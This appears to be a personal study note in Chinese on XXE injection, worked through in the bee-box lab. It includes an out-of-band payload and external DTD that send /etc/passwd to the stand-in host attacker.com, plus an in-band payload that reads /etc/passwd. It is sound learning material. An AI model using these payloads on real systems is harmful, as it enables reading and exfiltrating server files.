前言
下载好靶机环境打开即可bee-box
虚拟机版本直接打开就可,在使用之前会有键盘乱序的问题,网上有修改教程很简单修改一下就好啦;
做实验之前先大致介绍XEE攻击(看了一个学习视频总结的):
首先当然是要了解xml是什么:
XML(extensible makeup language)扩展标记语言,是一种常用的标记语言;
和HTML相似,最大的区别就是HTML和数据相关,而xml更多与数据传输和存储有关(可以存储数值以备后用等等很多功能);
<?xml version="1.0"?>
<Person>//根元素(符合规则的xml文件必须有且只有一个根元素)
<Name>john</Name>
<Age>20</Age>//两个赋值的嵌套标签子元素name和age
</Person>//元素标签名对大小写敏感,<>'"不被允许直接出现在xml文档中
但是实体可以解决这个问题: 实体是一种简单的存储单元,就好比xml的变量一样,可以赋值引用
实体在文档类型部分(DTD)被单独定义描述,有关DTD的概念:
DTD
DTD的作用是定义 XML文档的合法构建模块;
1.内部声明:
2.外部声明(引用外部DTD):
这种机制能构建一种结构良好的xml文档,因为这样讲定义和数据部分区分开来,但这种功能在方便开发的同时也给攻击主任带来了便利;
DTD实体
DTD实体分类:
一般实体:即在其他地方发生引用;
参数实体:它必须定义在单独的DTD区域,可以通过另外一个实体来进行定义;%是参数实体的标志;
预定义实体;
1.内部实体声明:<!ENTITY 实体名称 "实体的值">
2.外部实体声明:<!ENTITY 实体名称 SYSTEM "URI/文件名">外部实体的标志
XXE(外部实体注入攻击)有多种类型
主要是带内数据,基于错误,带外数据(OOB)(类似盲注)
这里我们来构造一个OOB的payload加强理解
<?xml version="1.0"?>
<!DOCTYPE XXE [
<!ENTITY % passwd SYSTEM "/etc/passwd">//passwd参数实体
<!ENTITY % wrapper "<!ENTITY send SYSTEM 'http://attacker.com/?%passwd;'>">
%wrapper;//后半部分是通用实体
]>
<pwn>&send;</pwn>
但事实是这样是错的,因为在xml中在DTD内部子集中的参数实体调用不能混惨到标记语言中,也即是说不能在实际的标记语言中来调用参数实体;
我们可以通过外部DTD绕过,
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://attacker.com/evil.dtd">
<data>&send;</data>//send在哪呢
而eval.dtd得内容:
<!ENTITY % passwd SYSTEM "/etc/passwd">
<!ENTITY % wrapper "<!ENTITY send SYSTEM 'http://attacker.com/?%passwd;'>">
##%wrapper;##<!ENTITY send SYSTEM 'http://attacker.com/?contens_of_passwd'>
下面的这个例子就是带内数据,
打开XEE的漏洞界面,可以在虚拟机下打开,也可以在你的Windows上打开(输入你的虚拟机的IP即可)
首先要知道怎么判断是否存在XXE漏洞
这里是非blind的XEE,我们抓包来查看数据传输的情况:
很明显抓包后多了一个XML的按钮,又看到Content-type第七行XML的文件类型,接下来分析报文,可以看到xxe-1.php页面以post方式向xxe-2.php页面传输了XML数据,说明可能存在XXE攻击,注入payload进行测试;
这样就可以构造一个恶意外部实体,然后在原本的XML数据中进行实体调用,来进行XXE攻击。
将抓到的包发送到repeater,构造payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a[<!ENTITY b SYSTEM "file:///etc//passwd">
]>
<reset>
<login>&b;</login>
<secret>login</secret>
</reset>
这里要注意的是只是修改,比如login标签就不能随便删除,当数据传到后台,后台找不到原来的login标签payload最后是不能执行成功的。
看到响应包中出现了我们想查找的文件内容;
如何防御XXE呢?
1.根据攻击的思路,禁用xml外部实体
2.规定黑名单或者白名单
-----------------------------------------------初识XXE的笔记